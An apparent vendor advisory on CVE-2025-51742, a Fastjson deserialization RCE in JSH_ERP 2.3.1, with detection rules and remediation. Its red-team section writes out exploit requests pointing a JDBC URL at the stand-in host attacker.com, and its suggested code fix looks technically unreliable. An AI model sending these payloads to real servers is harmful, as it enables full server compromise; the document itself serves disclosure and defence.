CVE-2025-51742

Executive Summary

CVE-2025-51742 is a critical unauthenticated remote code execution (RCE) vulnerability in Jishenghua JSH_ERP version 2.3.1. The flaw resides in the /material/getMaterialEnableSerialNumberList endpoint, where the search query parameter is passed directly to Fastjson's parseObject() method without sanitization. This enables an attacker to inject a malicious Fastjson payload, including JDBC-based deserialization chains, leading to full server compromise. No patch is available, and the vendor has not responded to disclosure attempts. The vulnerability is publicly known with proof-of-concept code available.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a Java-based ERP application (JSH_ERP) distributed as a WAR file or Docker image. Users should verify the integrity of their downloaded artifacts and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated RCE via deserialization), the following is estimated:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. Exploitation is trivial and can be performed by unauthenticated attackers over the network.

Deep Dive & Mechanics

The vulnerability is a classic Fastjson deserialization flaw. Fastjson is a popular JSON parsing library for Java. When parseObject() is called on untrusted input, it can instantiate arbitrary Java classes and invoke their setters or constructors. This can be chained with JDBC (Java Database Connectivity) drivers to achieve RCE.

Attack Flow:

1. The attacker sends a GET request to /material/getMaterialEnableSerialNumberList?search=... with a crafted JSON payload.
2. The search parameter is passed directly to JSON.parseObject(search).
3. Fastjson deserializes the payload, instantiating a class like com.mysql.jdbc.jdbc2.optional.MysqlDataSource or com.alibaba.druid.pool.DruidDataSource.
4. The attacker controls the JDBC URL, pointing it to a malicious MySQL server they control.
5. The malicious MySQL server sends back a crafted response that triggers the execution of arbitrary Java code (e.g., via EXECUTE or LOAD DATA LOCAL INFILE).
6. The attacker achieves RCE on the JSH_ERP server.

Root Cause: Lack of input validation and use of a dangerous deserialization API (parseObject()) on user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (JSH_ERP 2.3.1):

// Controller method
@RequestMapping("/material/getMaterialEnableSerialNumberList")
public Object getMaterialEnableSerialNumberList(String search) {
    // Directly parse user input
    JSONObject json = JSON.parseObject(search);
    // ... further processing
}

Patched Code (Hypothetical):

// Use a safe parsing method with a whitelist
@RequestMapping("/material/getMaterialEnableSerialNumberList")
public Object getMaterialEnableSerialNumberList(String search) {
    // Validate input format
    if (!isValidJSON(search)) {
        return "Invalid input";
    }
    // Use a safe parser with type restrictions
    JSONObject json = JSON.parseObject(search, Feature.DisableSpecialKeyDetect);
    // ... further processing
}

Key Differences:

• The patched version validates the input format.
• It uses Feature.DisableSpecialKeyDetect to prevent auto-type resolution.
• Ideally, the application should avoid using parseObject() on untrusted data altogether.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running JSH_ERP 2.3.1.
• An attacker-controlled MySQL server (or any JDBC-compatible database) with a malicious response handler.

Exploit Steps:

1. Set up a rogue MySQL server that responds with a crafted SERVER_GREETING and AUTH_SWITCH_REQUEST to trigger deserialization. Tools like rogue-mysql-server or mysql_fake_server can be used.
2. Send the following request to the target:

GET /material/getMaterialEnableSerialNumberList?search={"@type":"com.mysql.jdbc.jdbc2.optional.MysqlDataSource","url":"jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","user":"root","password":"root"} HTTP/1.1
Host: target.com

3. The target will connect to the attacker's MySQL server, which sends a malicious serialized object that executes arbitrary commands (e.g., reverse shell).

Alternative Payload (using Druid):

{"@type":"com.alibaba.druid.pool.DruidDataSource","url":"jdbc:mysql://attacker.com:3306/test?autoDeserialize=true","username":"root","password":"root"}

Blue Team (Detection & Hardening)

Detection:

• Monitor for outbound connections to unknown MySQL servers (port 3306) from the JSH_ERP server.
• Look for HTTP requests to /material/getMaterialEnableSerialNumberList with JSON payloads containing @type keys.
• Alert on any Fastjson deserialization exceptions in application logs.

Hardening:

• Immediately isolate or take offline any JSH_ERP 2.3.1 instances.
• Implement a Web Application Firewall (WAF) rule to block requests containing @type in query parameters.
• If possible, upgrade to a patched version or apply a virtual patch by modifying the source code to use a safe JSON parser (e.g., Jackson with strict typing).
• Restrict outbound network access from the application server to only necessary services.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /material/getMaterialEnableSerialNumberList with search parameter containing @type or jdbc:.
• Outbound connections from the JSH_ERP server to port 3306 (MySQL) on unexpected IP addresses.
• DNS queries to domains associated with attacker-controlled MySQL servers.

File IOCs:

• Unexpected .class files or JARs in the application's classpath.
• Modified or new files in the web root (e.g., /opt/jsh_erp/webapps/ROOT/).

Process IOCs:

• Unusual child processes spawned by the Java application (e.g., bash, cmd.exe, powershell).
• Network connections from the Java process to external IPs on non-standard ports.

Detection Engineering

YARA Rule

rule CVE_2025_51742_Fastjson_RCE {
    meta:
        description = "Detects Fastjson deserialization payloads targeting CVE-2025-51742"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51742"
    strings:
        $fastjson_type = "@type"
        $jdbc_url = "jdbc:mysql://"
        $druid_ds = "com.alibaba.druid.pool.DruidDataSource"
        $mysql_ds = "com.mysql.jdbc.jdbc2.optional.MysqlDataSource"
    condition:
        any of ($fastjson_type) and any of ($jdbc_url, $druid_ds, $mysql_ds)
}

Sigma Rule

title: Fastjson Deserialization Attempt via JSH_ERP
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to JSH_ERP with Fastjson deserialization payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/material/getMaterialEnableSerialNumberList'
        cs-uri-query|contains: '@type'
    condition: selection
falsepositives:
    - Legitimate use of Fastjson in other contexts (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51742 Fastjson RCE Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/material/getMaterialEnableSerialNumberList"; http.uri; content:"@type"; fast_pattern; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network.
2. Block the vulnerable endpoint at the WAF or reverse proxy level.
3. Review logs for signs of exploitation.

Long-term Fix:

• Since no official patch exists, consider migrating to a different ERP solution or forking the project to apply a fix.
• Replace Fastjson with a safer JSON library (e.g., Jackson) and avoid using parseObject() on untrusted input.
• Implement input validation to reject JSON payloads containing @type or JDBC URLs.

Compromise Assessment:

• Check for unauthorized user accounts, scheduled tasks, or services.
• Scan for webshells or backdoors in the web directory.
• Review database logs for unusual queries.

Valters IT
Securing Digital Frontiers